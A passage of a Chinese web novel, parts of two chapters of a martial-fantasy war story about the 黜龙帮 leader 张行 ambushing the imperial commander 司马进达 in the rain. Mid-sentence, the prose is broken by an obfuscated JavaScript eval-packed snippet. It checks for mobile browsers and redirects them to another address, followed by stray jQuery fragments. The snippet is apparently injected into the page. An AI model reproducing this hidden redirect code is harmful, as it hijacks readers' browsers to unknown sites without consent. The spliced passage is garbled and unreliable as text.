然而,司马进达沉默了一下,却只摇了摇头:“我会发信给丞相说明情况,此时左仆射也应该在路上了,而不管救不救,眼下我们都要努力向前,先吃下这个被黜龙帮困住的棋子,再论其他,也是要借此汇集兵马再做讨论的意思……所以,启程前咱们再派出使者,去找散落在各处的各部,除了已经占据的城父城要留人把守外,要将兵马尽量汇集起来。” “没错,反正要等人,反正要先肃清河西,且向东去,吃掉这个营再说其他!”牛方盛点点头,没有再计较,显然晓得他们兄弟这几日的尴尬。 二人议定,便即刻动员部队,合兵约九千余启程。而司马化达也宛若无事人一般自在令狐行的保护下启程往涡水第一大城谯县而去。 兄弟二人一个大约朝南,一个大约朝北,背向而行。 司马丞相且不提,只说司马右仆射这一路……此地距离黜龙帮那个营被围地点不过二十里,只往南偏东行进便可,牛方盛率部为先,后面部队还没有完全启动呢,司马进达便收到新的战况消息……原来,何稀那里黜龙军又到了一个营。 这个时候,司马进达就开始有些蹙眉了。 因为按照他的推断来想,黜龙军渡河的兵马应该以穿插为主,是为了打乱禁军部属,迟滞禁军反扑,那这个时候即便有一个营不巧被围住了,也应该狠下心来才对。 之前派出一个营做接应还算合情合理,此时又送来一个营,难道不怕禁军**过去轻松吃掉? 当然,也有可能是黜龙帮贼军心思作祟,不能做到战场取舍,放不下那一个营;又或者是这些领兵头领视己营为私物,相互串联,战场自行行事。 这却是好事了。 一念至此,稍微放下顾虑的司马进达到底是整装上路了。 而当这位右仆射在后军行进进了大约六七里路,前方牛方盛走了十多里的时候,又有军情送达,却不是前方何稀处的军情了,乃是昨夜的军情,刚刚寻到这位右仆射身前罢了……具体来说是,战场最南端,黜龙帮又一个营被禁军困住了。 右候卫大将军李安远,算是禁军实力派,其部不光有三征前的募军,更有之前老禁军中射声军的老底子,那营黜龙贼夜间撞到,非但没有动摇这支禁军精锐,反而被打的落花流水,死伤惨重。非只如此,李安远指挥妥当,知道夜间冒雨追击有困难,便分出三队精锐,分三个方向,宛若一个爪子一般跟上黜龙贼骚扰不断。 然后天一亮,大军一部便启动反扑,果然将对方扑在了涡水以西五六里路的一个小集市上,正急速攻打。 而且,随着天亮,这支兵马也被探照的清楚,赫然是之前遇到过的黜龙贼一营,头领姓尚,据说是张贼心腹。 这当然是个好消息,连带着司马进达都有些轻松起来。 毕竟,从昨日到现在的军情汇总来看,双方虽然各有胜负,但成建制作战上来看,禁军的综合素质还是明显强于黜龙军的,同时,黜龙贼的兵马也都一直没有超出之前被探知的兵马范畴。 这些都让人感到安心。 就这样,司马进达放下心来,继续行军,大约又走了四五里地的光景,距离他直线距离只有二十里左右的地方,涡水西岸十里的一处台地上,一座略显粗陋的白帝观中,张行等人也收到了此战的讯息! 原来,昨日傍晚黜龙帮决定结阵封冻河水,居然成功,然后靠着坚冰浮桥,一夜之内居然走过来了二十七个营,加上原本渡的五个营,昨夜从其余四处身后跟过去的四个营,赫然已经渡来三十多个营,其中少部分散落在别处大部分正在城父以南十几里地,涡水西岸五六里的地方汇集。 乃是在此整备,然后发起全面进攻。 包括昨夜贾闰士和今早派出去的翟宽,与其说是救援贾务根,倒不如说是为了遮蔽战场讯息,掩护这个重兵集团的意思。 实际上,从昨夜开始,散出去的侦察兵的任务就不是去侦查了,而是被限制在周遭十里方圆内,努力反侦察。包括军中高手,也都全力收缩监视。 然而就在全军养精蓄锐,准备以贾务根那里为诱饵,让禁军汇集更多兵力,打一场大的时候,下游的莽金刚不惜运行真气,亲自送来了一个天大的坏消息。 “全营崩溃?”几乎塞满了人的观中堂上,便是张行都怔了一下。“尚怀恩呢?” “应该凶多吉少了。”光头的莽金刚头上全是水渍,却不是雨水,而是他出的汗。“俺路上接到败兵,知道前面尚头领全营坏了,就赶紧让部队退回到最近的镇子,然后亲自去看了……到那儿就看到禁军举了一个白色短氅在那里耀武扬威!俺心乱如麻,又怕军情严肃,赶紧直接来寻首席了!” “我去看看!”刚刚回来没多久的雄伯南双目发红,便要再度离开。“最少要抢的尸首回来!” “天王不能去!”徐世英严肃喝止了自家姐夫。“我们昨夜刚刚结阵冻了河,待会当面战场须你坐镇,以防万一!现在也要你在这里坐镇,防止敌军高手亲身来侦查!” “话虽如此,话虽如此。”雄伯南明显方寸大乱。“咱们从当日张须果后,何曾遭此大败?” 雨水中,周围头领自单通海、柴孝和、王叔勇以下,包括许多文书、参军、准备将,也几乎人人面色惨然。很显然,这种猝不及防的成建制损失,让黜龙军产生了巨大动摇。 李定微微皱眉,本想说些话,但他到底也晓得自己的话难听,立场也不好,尤其是此时不只是一个张行,雄伯南、单通海这些人都在,态度又是这般,那要是临阵起了冲突,未免影响接下来作战。 实际上,正是因为如此,刚刚他没阻止雄伯南,包括张行,以他的身份,此时也都不好开口。 “我有句话,有些难听。”就在这时,徐大郎再度开口。“尚头领生死不知,确系是个坏消息,一个营几乎覆没,更是天大的坏消息。但恕我直言,只以战局大略来说,尚头领这个时候败了,反而对我们有一定好处……因为禁军必然会轻敌,当面贾头领他们**吸引的兵马也会更多,更无备……这个时候,我们应该摒除杂念,继续原定计划,往西推过去!也算是与尚头领报仇了!” 徐师仁在内,许多人立即颔首,单通海、王叔勇等人稍作思索,也随之点头。 便是雄伯南,此时冷静下来,也点了下头:“是我想太多,越是这个时候,越不能乱了布置。” 见到众人被扭过来,李定从徐世英身上收回目光,转而来问莽金刚:“一营兵马,下着雨被困容易,但被全部击溃,委实困难,尚怀恩那里,我们从天一亮收到讯息就让芒大头领去救援了,居然不能撑到你去吗?” “因为禁军的援军去的更快,而且更多。”莽金刚赶紧解释。“看旗号是张虔达部,足足五六千人,直接汇合李安远的那个部将。” “张虔达不是主动去围杀尚头领的。”徐世英想了一想,立即给出判断。“他是察觉我们渡河,慌了,不敢在涡水东岸独留,所以连夜渡回来,去靠近其他部队,结果正好撞到了尚头领。” 众人面色稍缓。 毕竟,如果是这样,算是尚怀恩和他的部属倒霉,而不是说黜龙军的战力相对于禁军来说已经跨到一定份上。 “但这从眼下战局来说反而是个坏消息。”李定却黑了脸。“因为禁军里的聪明人一定会马上意识到,我们根本没有围困张虔达的动作,然后对其他方向小心起来,更何况莽大头领亲身在他们军前现身了……张首席,不要犹豫了,也不要等伍大郎、夏侯宁远那几个营了,先吃掉当面何稀的六千人和最近的援军,再论其他!立即进攻!” 周围人不管是谁,听到最后四个字,便全都将其余事端抛到脑后,齐齐看向了张行。 “好!”张行一如既往的对李定从善如流,其人就在观中扬声下了军令。“就按照原定计划出击,莽金刚!” “俺……属下在!”莽金刚忙不迭拱手。 “除伱本营外,徐开道、张善相、庞金刚、范望四个营一并与你,尚怀恩残部也由你安置,你回去南面咬住张虔达与李安远的那支合兵!不让他们往北面来,也不能让他们跑了,临阵若有计较,找单龙头的军令!” “晓得!”莽金刚立即应声。 而被张行点到的几营中,除了范望已经在南线渡河,其余三人也都拱手称令,跟在了这个光头身后。 “单通海!”张行喊了另外一人。 “我……属下在!”同样换了个称呼,但单大郎似乎是没反应过来,明显卡了一下,才赶紧拱手。 “除你本营外,常负、房彦释、郭敬恪、左才相四个营,一并从你,也是往南走,从下游做侧翼,包住当前之敌,路上有军情变数,整个南翼,你自决断!若是伍大郎他们从南线渡河,也听你指挥!韩二郎、刘黑榥若去了南线也归你!” “得令!”单通海明显呼吸粗重起来。 而除了已经提前渡河并在南线的左才相外,其余三人也都拱手后立到了单通海身后。 接下来,观中并不明亮的光线下,张行在王叔勇与牛达身上扫了一下,再度下令:“王叔勇!” 王五振奋一时,当即拱手:“属下听令。” “张公慎、冯端、樊豹、曹晨随你,去北面,如单大郎般为北翼方面担当,包抄合围,同时有北线临时决断权!” “请首席放心!”王五郎只觉得胸口都要绽开。“此战必成大功!” “牛达。” “首席吩咐!”牛达精神一振。 “苏睦、张道先随你去,锁住城父外面道路,不求破城,但求分割锁敌,如军情有变,则知会王五郎听他军令。” “明白。” “徐师仁。”张行忽然又喊了一个让人意外的人名。 “末将在。”徐师仁恭敬俯首。 “你为前锋,王雄诞归你指挥,前面贾闰士、翟宽也听你指挥,直接扑向前方,与贾务根联手,猛攻何稀!” “诺!”徐师仁没有半点犹豫。 王雄诞毫不迟疑的站到了徐师仁身后。 “贾越,你为次锋。”张行又点一人。“翟谦为你副将,次行出发。” 贾越一声不吭,只是低头行礼。 倒是翟谦,行礼时笑了一笑:“正要再会会这些禁军。” 张行闻言,不由笑了一笑,周围紧绷着的许多人也都随着笑了一笑,气氛稍做缓和。 “告知伍惊风,尚未渡河的李子达、伍常在、夏侯宁远、王厚四营交予他统一调度,让他留意前线军情,自行安排各营渡河路线,极速来对应战场支援!”笑过之后,张行继续下令,则是对着身后虞常南这些文书来言。 虞常南点头称是,便转到了小观廊下去写文书。 “剩下的人,自雄天王以下,所有其余头领、文书、参军、准备将,连同最后七个营(李定、徐世英、柴孝和、苏靖方、樊梨花、王臣愕),一起出发,以作中军。”张行没有半点停顿,下达了最后的指令。“谁可有别的建议和异议?最后的机会提出来!否则便准备披挂出发!” 所有人中,只有李定张了下嘴,但最终没有吭声。 张行公布的军令,大约就是今日早间他李四郎根据渡河状况亲手制定的临时方案,十八个营左右两翼张开,剩下的十几个营分前后三段向前突击……只有一处稍微变动了一下……不是牛达和王叔勇,而是前锋与中军,原定的前锋是苏睦领着樊梨花、王臣愕、苏靖方,也就是他的武安军,结果张行却临时改成了徐师仁领着王雄诞连着贾闰士这种他张首席亲军性质的兵马。 其实,李大龙头之前那么安排倒不是说方便手下建功又或者表忠心什么的,主要目的是想通过武安军的突然出现,使得禁军那些人精将领陷入疑惧状态。 现在,张行这么安排,直接用他的亲军做先锋,倒是有类似效果。 而且,还避免了武安军新降之人的避战心态。 所以,李定到底是闭了嘴。 没有人反对,没有人提出新的方案。 张行点点头,就在白帝观中背对着形制粗糙的白帝像做了例行陈述: “诸位,我就不重申军法什么的了……只说一件事情,这一仗,我们早就议论过,大家都不想打的,因为对局势没有大的作用,徒耗自家兄弟性命,但仗还是打起来了,为什么?!是因为禁军自家背约,往我们领内来打!而且沿途劫掠无度,如果放任他们这般行迹,谯郡、梁郡、荥阳都要被他们啃食干净,我们是为了保卫自家不得不打这一仗。这一仗,我们是保家卫帮!” 说着,这位首席挥了下手:“而打仗这种事情,不行则已,一旦动手,就要尽全力而为。所以,我望诸位努力作战,就在这涡淝之间杀这些禁军一个血流成河,就用这些大魏遗祸的血,来清洗地方,来震慑天下!” 众将轰然,自观中鱼贯而出,整饬部队,即行开拔。 张行等人在中军,属于最后序列,倒是多了几分从容,但也需要立即披挂。 而就在全员忙碌的时候,张行想起一事,终于对相互帮忙披甲的李定提及一事:“十娘呢?不是替你领本营吗?为何我从徐州路上折返就没见她?” 李定愣了一下,马上给出答复:“她就是在你走后当晚,得了真火教的什么密信,跟我说她恩师的恩师就在淮北,找她打听些事情……看她的意思,是正经长辈,就让她去了,结果没想到错开此战。” “恩师的恩师……难道是千金教主驾到淮北了?他不是一直在大江之南游荡吗?”张行明显不解。“总不能是萧辉那边怕我们抢淮南,派人来问我们虚实吧?” “若是前者,本该去见。”李定倒是早有考量。“若是后者,一来十娘只知道武安那点东西,并不知道黜龙帮内里虚实;二来连我们自己都没有认真想过淮南之事。” “鸡肋,鸡肋。”张行几乎是脱口而出。“食之无味,弃之可惜。” “淮南倒称不上鸡肋,因为我们本就力所不及,若强把淮南吃下,不是不行,但以黜龙帮眼下的力量,怕是要更改战略,专心经营江淮了。”李定认真驳斥。“你要放弃执行了两年多的既定河北战略,转身经营江淮吗?” “怎么可能经营江淮?”张行按着对方护心镜幽幽以对。“你又如何晓得鸡肋只是说淮南?” 李定一愣,到底是放弃与对方言语上做掰扯了。 就这样,二人相互协作,披挂完备,其余人也多整饬好了衣甲,便蜂拥出了小观。 来到外面,江淮之间五月雨水依旧,但可能是雨水不大且是上午的缘故,视野却比早间好了不少……而入目所及,数不清的军士或披着蓑衣,或直接着甲,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167982|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在台地周边于雨中疾行组队行军,又有军官往来奔走,传令不停,各色旗帜也都被冒着雨水举挂了起来。 这其中,最吸引人注意的,居然是每时每刻都有人从队列中滑倒、摔跤、滚出,然后大部分人在战友协助下重新起身跟上,少部分人却只能挪到一旁,紧张的看着战友离去。 这就是大部队雨中作战的必然。 实际上,就在台地往东面涡河的大道旁,就有一个营地,全部都是因为行军摔伤、扭伤,因为淋雨而生病汇集的伤病员。 军士们一早被严令喧哗,夜间渡河、汇集时甚至一度衔枚,而到了此时,虽然没有人解除禁令,可却因为行军的动静和军令的传达,明显形成了一种类似于喧哗的噪音。 动静根本没法被遮住。 而从粗陋的白帝小观中走出来,迎面扑来雨水和这些场景,望着、听着这些东西,许多人都有些发懵。 “比历山好多了。”张行看了一遍,给出结论。“军纪、兵员素质、精神气、后勤,都要好得多。” “必然如此。”柴孝和插了句嘴。 “我就说,咱们没有那么差,不可能跟禁军一碰就溃。”雄伯南脸色也好了许多。 “不过,既然放开了动静,启动了部队,禁军马上就该发觉点什么了。”徐世英微微皱眉,第一个开了口。 “事到如今,无妨了。”张行微微眯眼。“把我那面‘黜’字旗升起来,加速出兵!” 事实证明,徐世英也好,其余黜龙帮高层也罢,还是小瞧了禁军的上上下下,不说别的,黜字旗还没有打起来呢,十余里之外的既定战场上,今日尚未遭遇交战、但已经被黜龙帮设计为第一波进攻主要目标的的左候卫将军何稀便已经察觉到战场上的微妙情势,继而见微知著,意识到了局势可能跟之前预想的完全不同! 所谓“微”,其实是两面旗帜。 随着天亮,何稀敏锐的注意到,昨日下午被自己部队无意间堵在眼前小村庄内的黜龙军一营打起了“贾”字旗……这其实很正常,姓贾的人黜龙帮头领是有的,而且似乎不少,即便是之前行军中遭遇的黜龙军那十几个营里没见过“贾”,也不能说明什么,因为很可能就是自己没见过。 但是很快,随着村庄内的黜龙军打出旗号后,几乎是呼应一般,村庄东北面的官道上那两支来援的黜龙军也打出了旗号,其中一个是“翟”,另一个赫然也是“贾”! 翟倒罢了,两个贾让何稀完全懵住了,他反复在两个阵地间往来,亲自观察军情,并在反复询问下属后得出结论,那就是虽然有些兵力上的出入,但那明显是之前战斗和行军减员,这两面旗帜下马就是两个独立的、成建制的营! 两个独立的营,两个贾字旗,按照黜龙帮的制度,就是两个姓贾的头领。 突然冒出来两个姓贾的头领意味着什么? 对于大多数人而言,会觉得奇怪,然后可能会有些本能的不安,但也只会不安,一时间是不能得出什么确切结论的,但对于何稀而言却不是这样……因为何稀不是一个普通的人。 他是黜龙帮头领冯端的老长官,是司马长缨的继任者,是曹彻在时全军工程部队的总统帅! 而且,他不是白横秋和司马长缨那种名义上的工程领导,他虽然在关西长大,但自幼失祜,而叔叔是一个前代南朝的降将,所以,他是亲自干活的那种! 营建陪都、建造宫室、制作车辆,通天塔、大金柱也都是他设计的!之前征伐东夷时,也是他负责督造土山、规划营寨、掌管车队。 换言之,这个人,可能是禁军中,甚至是之前整个大魏朝廷里最有数学思维和工程思维的高级官员。 那么,这两个“贾”字对于何稀而言就是一道数学题罢了:已知,黜龙帮有五十营,其中三营由贾姓头领带领,之前出动了十五营,本军遭遇十营,皆无贾姓头领参与,那么,现在突然出现两个贾姓头领带领的营,请问,这两个营都是之前十五营中的概率有多大? 天知道!但绝对很小! 没错,何稀在确定出现两个贾姓头领后,立即意识到,要么这是疑兵,要么是黜龙帮的援军来了! 对面的兵力不是十五个营! 而是更多! “给司马右仆射说,当面两营都姓贾,都没见过,很可能是黜龙帮新来了援军!”何稀已经完全紧张了起来。“然后给我抓活的,拼了命的抓活的,问清楚这两个营的来路!” 使者派出去,命令下达后,何稀还是紧张不安,他几乎本能想到逃跑。 但理智告诉他,这个时候跑,弊大于利。 首先,司马进达就在数里外,此时跑了,司马氏饶不了他,不管是执行军法还是回到东都被处置,都够要命!其次,也是何稀此时的底气所在,那就是他同样认为,即便是黜龙帮援兵已到,而且准备大举进攻,也不至于立即就会攻到他跟前……作为一名工程大师,他知道部队渡过涡河需要多久。 完全可以联合司马进达吃下这支兵马,汇集了其他兵马,然后再行讨论撤军或作战。 故此,何稀几乎是强撑着留在原地,并追加下达了准备作战的军令。 事实证明,何稀的想法似乎是正确的,两刻钟后,禁军援军率先抵达,牛方盛的前锋部队出现在了西北面。这位左侯卫将军毫不犹豫,下令开战。 而且是反向开战,除了包围圈必要兵力外,其部几乎所有兵力,全都扑向了两面贾字大旗中立在外面的那个。 措手不及之下,又缺乏坚固阵地的贾闰士部瞬间便落入下风,他的这营新兵几乎是在第一波冲击下就丧失了一半阵地,败兵崩溃式的往侧方翟宽阵地上逃了过去。 “前方交战得胜?” 司马进达愣了一下,居然没有什么高兴的神色,反而有些茫然的勒马环顾四面,似乎想窥破迷局,但却只看到了烟雨迷蒙下的一片旷野。 且说,他刚刚收到了何稀的汇报,也几乎是立即便认可了对方的猜想,这位右仆射也认为黜龙帮一定是有援军到了,这也反过来证明了更早一点他被追加的尚怀恩部被击溃的情报……张虔达渡河过来了。 这两个情报相互呼应,说明黜龙帮的援兵到了,然后恰逢禁军掉头,便毫不犹豫渡河来战,试图击败禁军主力。 推翻了原定的猜想,司马进达自然不安的,因为这意味着很可能会爆发大战。 而作为禁军实际上的帅职担当者,与何稀不同,这位右仆射是以全局考量的,他认可何稀黜龙军渡河不利、短期作战禁军无忧的看法,但也意识到,如果在这里耽误时间,很可能会被黜龙军主力追上,不得不战。 不是说不能战,而是说,有没有必要决战?如果决战,是不是应该先汇集兵力,以逸待劳?要不要守城以消除雨水劣势?要不要持久作战?要不要呼叫东都援兵一举击垮黜龙军? 这些东西都是司马进达脑中一直在思考的。 然而,现在前线已经交战,而且占据了优势,那就要暂时放下这些心思了。 实际上,司马进达从来不是一个犹犹豫豫的人,考虑归考虑,真正要做决断时却从不迟疑: “下令全军加速,不要理会当面何将军那里的战事,让牛将军处置那边就行,所有人往左拐,从东面绕到敌后,包住这两营外围的黜龙贼!” 军令既发,司马进达毫不犹豫,亲自打马向前,后军六千众,立即脱离前军三千,转而改变方向,加速往东而去。 这一去,果然使得司马进达以最快的时间知晓了战争迷雾外的真相! 无他,仅仅是两刻钟后,就在徐师仁的部队刚刚接应到了几乎要崩溃的贾闰士的新兵营时,虽然下雨,可在午前时视野依旧优良起来,刚刚转向没多久的司马进达在旷野猝不及防的看到了一支足足过万的军队和一面让他心惊肉跳的红底大旗。 然后当场如坠冰窟。 且说,双方一个是临时掉头,一个是临时发兵,都认为前方是交战区域的空隙,哨骑即便是撒出去也不可能在这么短的时间内完成布控。 而相对来说,正常晴朗天气下,相隔四里路是能看到对方军队的,但需要集中注意力,而且稍有地形起伏、树林阻碍就会被遮蔽。当然,再接近下去,就会越来越清楚。 实际上,因为哨骑、修行者的存在,双方是在相距六里察觉到对方存在的。 但不确定兵力,不确定对方真正行进方向,甚至不确定是敌是友,是友无妨,是敌也不知道有多少……而这个距离,仅仅是片刻的调整和验证,根本不可能直接转向、停滞的双方就直接进入到对方视野中了。 张行骑着黄骠马,透着雨幕看着双方都有些慌乱的部队,双方部队一支向东偏南,一支向南偏西,眼看着就要撞上,都在慌乱调整,似乎都准备当面来战。 “不对劲。”李定微微眯眼,然后忽然给出了一个意外判断。“他不是要跟我们作战,他要逃,他肯定没有直接后援……打着司马的旗帜,不管是司马化达还是司马德克,都不能放过,得赶快追上去。” “我去拦住他!”雄伯南便要动身。 “哪里有一开战就用压箱底手段的?”张行制止了雄伯南,然后翻身下马,踩着雨水将黄骠马牵到了身后一人跟前。 那人会意,也翻身下马,接过了黄骠马缰绳,却正是连头领都不是秦二。 “三百准备将全部与你。”张行将缰绳松开,指向远处正准备逃窜的那支部队中的“司马”旗帜。“司马化达这种人在对面,活着比**好……只是那面旗帜不错,替我取来。” (本章完) 第二十八章风雨行(28) 秦宝率三百骑突出后,张行便意识到,此战早已经一发不可收拾。 这个不可收拾,倒不是说战局要大坏,而是说,这一战,从江都军变开始后黜龙帮内部的纠结不定,到禁军渡河后双方态势的反复更易,终于到了眼下这个再也没法凭借某个人的个人意志来控制走向的地步了。 因为接下来是双方主力面对面情形下没法回头的冲锋,是不计后果的战争与杀戮,是双方所有人都要为了生存与胜利而竭尽全力的碰撞。 且说,淮北自是梅雨季节的主要分布区,自然也有应对梅雨的法门……此地不论官道小路,普遍性掺杂一种唤作“沙姜石”的碎石料,既方便排水,也能保土,配合着各种沟渠、植被,大大减少了泥泞地形。 只不过,这玩意也需要定期维护,而且也禁不起糟蹋,所以谯郡这里,最南头的一片地方基本上坏掉,倒是北面算是黜龙帮统治辐射区的大部分地区,包括此地之战场,依旧起着明显的作用。 秦宝和三百骑准备将就是借着这沙姜路以超出双方主将预料的速度飞扑了出去。 毕竟,双方原本都是行军,都在路上。 “张贼欺我太甚!” 眼看着三百骑黜龙贼脱离大部队,稍微顺着道路拐了个弯便直插自己中军而来,饶是司马进达已经决定撤退,此时也不禁火冒三丈,因为这种攻击过于傲慢了,几乎将他和他的六千禁军视为无物,而即便如此,他还是以理性压住了感性,做出了最合乎战场情况的应对。 “你们三队全都出去,结阵阻击!**在前,**押后,刀盾绕侧!其余人继续转向,汇集大军!” 三队直属将官的别动集群立即出动。 很显然,李定一再于武安军和黜龙军中宣扬的“三队别动集群”制度,对于禁军而言是一种理所当然的配置,甚至更加完备。 “七将军!” 几十步外的一骑根本没有到跟前来,远远便在细雨中大喊。“前方既是张贼当面,他派出来的先锋不可小觑,我们也去挡一挡!” “且去!”司马进达没有半点犹豫,就认可了对方的提议。 随即,大约三四十骑自正在转向的阵中驰出,赫然是司马进达的亲卫,这些精锐骑士多为修行者,且全是禁军编制,可究其根本,其实到底算是司马氏私兵,当日江都杀齐王,便是依仗这些人。 不过,这支精锐队伍刚一驰出阵去,尚未接阵,堂堂右仆射却又在马上当场懊丧起来。 无他,司马进达这个时候方才想到一事,那就是自家兄长那里的精悍私兵明明更多,却都随之去了什么谯县,甚至里面还有一位凝丹高手呢。 而现在他已经有些后悔让这些人贸然冲出去了。 毕竟,正如那个心腹所言,来者必然是张贼派出来冲锋陷阵的精锐,甚至很可能就是张贼在河北、东境豢养的私兵。而现在自己的私兵这么少,若是不敌,白搭上去,岂不可惜?而便是起了作用,可要是司马氏私兵俱在,把握不会更大?甚至由此想到,现在禁军最大的问题就是各部分割开来,主帅都不知道是谁,而黜龙贼不管是什么法门,此时张贼大旗在此,到底能凝聚人心,若是禁军上下俱全,一心一意,自家兄长亲自汇众在此,又何必畏惧什么张贼,以至于临阵而走? 但是,司马进达心思百转,却都追不上局势变化……沙姜路上,骑兵驰上,蹄铁铿锵,几乎是这边三队人刚刚逆行穿越军列,尚未来得及列阵,对方便已经欺身到了几百步外。 私兵首领不敢怠慢,自领兵顶上,却并没有发起想象中的面对面冲锋,而是从自家步兵挨着大路那边的侧翼顶上,步骑混合,以求相互掩护,并尝试逼迫对方减速,进入混战。 可惜,黜龙贼的骑兵并没有减速。 取而代之的,是临到禁军阵前数十步的忽然发一声喊,以及数不清的各色真气,或如雾或似光,陡然泄出! 禁军上下,稍有修行常识之人几乎人人骇然,包括司马进达,原本刚刚缓过来的一口气也是重新堵在胸口……到了此时,他如何不晓得,这正是黜龙帮敢于以几百骑来冲自己的中军的底气?! 这么多真气外显的高手,几乎可以认为全都是奇经高手,是凝丹、成丹的种子!黜龙帮居然能在维持各营正将、郎将、队将之外还集中了这么多,而且还是在这次明显带有突袭性质战斗中带使用出来,俨然说明了黜龙贼的真正实力。 莫非,黜龙贼真的已经将大河、济水上下游各处几十个州郡吃透了吗?当地豪杰全都认了这群贼吗? 可是,黜龙贼的起家之地,那些大头领们、龙头们不都是从济水上游那几个郡里出来的吗?不然为什么对禁军从梁郡转荥阳那么抗拒?那么其余各郡为何这么轻易服从? 正思绪杂乱之际,前方黜龙贼的高手集群已经冲到禁军的断后部队跟前,有着真气充当攻击和防护的媒介,骑兵直接冲入阵中,瞬间造成巨大杀伤,几乎有立即透阵的趋势。 见此形状,司马进达的亲卫首领,也是禁军断后部队中修为最高一人,毫不犹豫释放真气,然后朝着黜龙贼为首一名大汉发动了反向冲锋。 这是决死冲锋,却是死中求活……不冲,必败;冲了,却还有一线生机。 毕竟,对方这么多奇经高手,却居然没有连成一片,组成真正的真气军阵,说不得便是对方大将惜命,不敢亲身上前,以至于群龙无首……这样的话,狭路相逢勇者胜,奇经高手的对决的只在毫厘之间,靠着修为和经验斩杀一二强横者,未必没有奇效。 事实上,这位司马氏的私兵首领一早便注意到为首的一名贼寇,此人身形高大雄壮,身着黑甲,手持一柄大铁枪……这倒无妨,修为上来以后,力气不是靠身形来判断的……关键是,此人胯下一匹黄骠马格外神骏,虽在雨中奔驰,且背负着这么一个大汉与这样的武器,却没有半点吃力与打滑。 最让人啧啧称奇的是,此马毛发油亮,雨水落在马身上,居然宛若落在凝丹高手的护体真气上那般,直接滑落。 生长在司马氏的庭院内,这私兵首领自是见多识广,如何不晓得,这根本就是一匹龙驹!能骑龙驹的人是谁?! 念头到此,双方也已经逼近,私兵首领看的更清楚,对方身遭根本没有成股成形的真气,反而只有一些奇怪的电光跳起,心中不由更加坚定: 杀了此人,夺了此马,逼退此军,自当显耀于司马氏族中,将来登堂**,取一郎将也未尝不可! 一念至此,其人便使出浑身力气,涌出平生真气,以至于下着雨,凤嘴刀刀尖上却变成了自行光亮的淡金色,然后就往对方身上掼去。 孰料,凤嘴刀刚刚下落,拍到对方铁枪,此人便觉得双臂发麻,也是心中一惊,觉得对方力气根本就是不可理喻。 可还没完呢,那黜龙贼大汉在马上**顶住长刀,居然堂皇松开一手,往马侧又取来一根粗壮铁锏,然后一手架枪一手挥锏,夹着电光便朝着对方头盔护耳狠狠拍去。 可怜那私兵首领,到了此时,依然只觉得是对方天生怪力,直到想要抬起兵器格挡,方才发觉,双臂发麻根本不是被力气所震,而是被对方古怪真气袭入,以至于双手麻痹,此时尝试抬手,反而一个激灵,便只剩酸软,连兵器都脱手了。 与此同时,那闪着电光的重锏拍到,其人登时只觉得半个脑袋如针扎一般疼痛难忍,什么念头都无,口鼻出血也都没有发觉,只是想发喊嘶吼,结果复又被那大铁枪当头拍下,就连喊叫都被砸回到了胸腔里。 这种击打,莫说只是甲胄,便是凝丹高手多一层护体真气又如何? 竟是一头从马上栽了下去,再无知觉,倒是省了后来马匹践踏带来的痛苦。 三百黜龙军骑兵一起显露真气,断后部队便已经不够看,而首当其冲的禁军骑兵被迅速剿灭后,三队步卒加私兵骑士构成的断后别动队,居然有一触即溃的趋势。 不远处司马进达目睹这一幕,心中更慌,却不只是因为自己断后别动队的失利,还有更远处的情形——黜龙军大队那里明显察觉到了这里的战事有利于他们一方,却是不顾一切分出了一支千余人的部队,打着一个“樊”字旗,依旧沿着道路,继续往自己这里而来。 可以想见,如果不能压制这支骑兵别动队,被这支部队欺入阵中,那迎接自己这六千禁军的,就是连续的波次进攻,直至全线溃败。 但他确实无法压制这支别动骑兵。 距离敌军后军阵线不过百十步的距离,秦宝斩杀数骑后,当道兵马早已经被强大的黜龙军最精华一支骑兵冲散,其余断后步兵也完全失措,而秦二根本没有理会这些几乎算是到手的军功,却是号令身后,不管不顾,扔下这些断后兵马,顺着大道直直冲向了那面“司马”大旗。 这一次,禁军再也不能组织新的断后阵线,但秦宝毕竟是在混战中呼喊号令,一时间却只有七八十骑摆脱了战斗跟上。 见到对方如此果断,司马进达手脚冰凉,懊丧不及,却不是顾虑自家性命,只是忧心战局。 下一刻,他便来不及忧心战局了,因为对方为首一骑,已经飞到身前来了。 秦宝并没有离开战马腾跃,而是临到所谓临时转向防御的中军阵前,忽然提马,平素不显山漏水的黄骠马一声嘶鸣,借着身遭电光与真气高高跃起,居然一跃数丈,飞过了后方好几排军阵,落在了司马进达本阵空隙中。 司马进达这个时候才意识到,因为直属别动队和亲卫的尽数出动,身侧反而空荡。 而对方就是利用这个空荡,直接越过最后发那几排军阵后,单骑打马冲来。 这么看来,目标就是自己了。 沿途不是没有禁军主动来阻拦,但不知为何,那骑身侧电光闪烁,无论将佐军士,骑兵步兵,但凡靠近此骑一丈内,便都身形一滞,动作什么的要么缓慢下来,要么就有些失控,以至于不过须臾,居然就被此骑冲到了跟前。 司马进达面无表情,也不呵斥,也不再呼喊指挥,而是亲自提枪迎上。 双方未及交马,这位见多识广的司马家七郎便瞬间意识到是怎么一回事了——对方的真气古怪,非但穿透极强,而且专门麻痹人肢体! 一念至此,司马进达手上便缓了三分,存了谨慎之意。 然而,双方一交手,这位禁军主将还是惊骇起来,因为他还低估了对方修为……原本他跟自己的私兵首领判断一样,只以为是一位奇经高手,否则必然起真气军阵,但兵器一交,司马进达便意识到,对方最起码也是凝丹,说不得跟自己一样是成丹! 此人必是黜龙军大将!却居然掩了旗帜来做偷袭! 若是被对方真气麻痹人的行动,再加上如此修为和武艺,今日岂不是要落在此地? 慌乱之下,一臂酸麻的司马进达扔下长兵,俯身单手抱马,也不恋战,便往一旁阵中逃去……他倒不是要就此避战,更不是堂堂成丹高手一下子就没了反抗能力,而是存了以主帅之身将对方诱入一旁田野地里的密集军阵中,好做围杀和反击。 